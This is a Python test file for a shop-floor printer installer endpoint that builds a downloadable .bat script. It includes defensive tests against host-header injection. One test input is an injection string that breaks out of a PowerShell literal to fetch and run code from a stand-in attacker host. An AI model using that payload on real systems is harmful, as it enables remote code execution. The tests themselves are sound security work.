"""Tests for the printer installer batch endpoint (/api/printers/install-batch). The printer installer map lets a user pick printers on the shopfloor map and download a .bat that installs them, grouping the same way the classic installprinter.asp did (HP/Xerox -> universal PrinterInstaller.exe; other printers with a .exe installpath -> that installer /SILENT; anything else -> manual). """ import pytest @pytest.fixture def printer_assettype(db): from shopdb.core.models import AssetType at = AssetType(assettype='printer', pluginname='printers', tablename='printers', description='Printers') db.session.add(at) db.session.commit() return at def _vendor(db, name): from shopdb.core.models import Vendor v = Vendor(vendor=name) db.session.add(v) db.session.commit() return v def _make_printer(client, auth_headers, **payload): resp = client.post('/api/printers', json=payload, headers=auth_headers) assert resp.status_code == 201, resp.get_json() return resp.get_json()['data']['printer']['printerid'] def test_install_batch_groups_universal_specific_and_manual( client, db, auth_headers, printer_assettype): hp = _vendor(db, 'HP') zebra = _vendor(db, 'Zebra') epson = _vendor(db, 'Epson') # HP -> universal installer hp_id = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP', hostname='wjprn04', vendorid=hp.vendorid) # Zebra with a .exe installpath -> specific silent install zebra_id = _make_printer(client, auth_headers, assetnumber='LABELER-ZEBRA', hostname='wjprn05', vendorid=zebra.vendorid, installpath='./installers/printers/zddriver.exe') # Epson with a .zip installpath -> manual (we do not run a .zip /SILENT) epson_id = _make_printer(client, auth_headers, assetnumber='RECEIPT-EPSON', hostname='wjprn06', vendorid=epson.vendorid, installpath='./installers/printers/c350navi.zip') ids = '%d,%d,%d' % (hp_id, zebra_id, epson_id) resp = client.get('/api/printers/install-batch?printerids=' + ids, headers=auth_headers) assert resp.status_code == 200 assert 'application/octet-stream' in resp.headers['Content-Type'] assert '.bat' in resp.headers['Content-Disposition'] bat = resp.get_data(as_text=True) # Universal group: HP printer name in a /PRINTER list + PrinterInstaller.exe assert 'PrinterInstaller.exe' in bat assert '/PRINTER="CSF04-WJRP2035-HP"' in bat # Specific: the .exe installpath resolved + run /SILENT assert 'installers/printers/zddriver.exe' in bat assert '/SILENT' in bat # Manual: the .zip printer is flagged, NOT executed assert 'MANUAL' in bat assert 'RECEIPT-EPSON' in bat assert 'c350navi.zip' not in bat # never handed to the runner def test_install_batch_resolves_vendor_via_model( client, db, auth_headers, printer_assettype): """A printer with no direct vendorid still groups as universal when its MODEL's vendor is HP/Xerox (the import sets the model, not the printer's vendorid) - the bug that dumped every prod printer into 'manual (unknown)'.""" from shopdb.core.models import Vendor, Model xerox = Vendor(vendor='Xerox') db.session.add(xerox) db.session.commit() model = Model(modelnumber='VersaLink C7125', vendorid=xerox.vendorid) db.session.add(model) db.session.commit() # No vendorid on the printer - only the model ties it to Xerox. pid = _make_printer(client, auth_headers, assetnumber='SpoolsInspection-Xerox', hostname='wjprn07', modelnumberid=model.modelnumberid) resp = client.get('/api/printers/install-batch?printerids=%d' % pid, headers=auth_headers) assert resp.status_code == 200 bat = resp.get_data(as_text=True) assert 'PrinterInstaller.exe' in bat assert '/PRINTER="SpoolsInspection-Xerox"' in bat assert 'MANUAL' not in bat def test_install_batch_requires_ids(client, db, auth_headers, printer_assettype): resp = client.get('/api/printers/install-batch', headers=auth_headers) assert resp.status_code == 400 # --- the generated script is a script: what reaches it must be a hostname ----- # # _batch_base_url() interpolates a request-supplied host into the single-quoted # PowerShell -Uri literal of the .bat this route hands out, and site_base_url # ships blank, so that fallback is the DEFAULT path rather than an edge case. # A quote in the host would end the literal. These pin the three rules that stop # it: validate the Host, only believe X-Forwarded-Host behind a declared proxy, # and emit a relative base rather than a host we cannot vouch for. INJECT = "evil';iex(iwr http://attacker/x);'" def test_install_batch_refuses_a_host_that_is_not_a_hostname( client, db, auth_headers, printer_assettype): hp = _vendor(db, 'HP') pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP', hostname='wjprn01', vendorid=hp.vendorid) resp = client.get('/api/printers/install-batch?printerids=%d' % pid, headers={**auth_headers, 'Host': INJECT}) assert resp.status_code == 200 bat = resp.get_data(as_text=True) assert 'iex' not in bat assert 'attacker' not in bat # No host survived, so the download URL is relative rather than poisoned. assert "-Uri '/installers/PrinterInstaller.exe'" in bat def test_install_batch_ignores_forwarded_host_with_no_declared_proxy( client, db, auth_headers, printer_assettype): """TRUSTED_PROXY_COUNT defaults to 0, so the header is caller-supplied and must not be believed - the same rule clientip.py applies to X-Forwarded-For.""" hp = _vendor(db, 'HP') pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP', hostname='wjprn01', vendorid=hp.vendorid) resp = client.get('/api/printers/install-batch?printerids=%d' % pid, headers={**auth_headers, 'X-Forwarded-Host': 'attacker.example'}) assert resp.status_code == 200 bat = resp.get_data(as_text=True) assert 'attacker.example' not in bat def test_install_batch_uses_a_real_forwarded_host_behind_a_declared_proxy( client, db, auth_headers, printer_assettype, app): hp = _vendor(db, 'HP') pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP', hostname='wjprn01', vendorid=hp.vendorid) app.config['TRUSTED_PROXY_COUNT'] = 1 try: resp = client.get('/api/printers/install-batch?printerids=%d' % pid, headers={**auth_headers, 'X-Forwarded-Host': 'shopdb.example.net'}) bat = resp.get_data(as_text=True) assert 'https://shopdb.example.net/installers/' in bat finally: app.config['TRUSTED_PROXY_COUNT'] = 0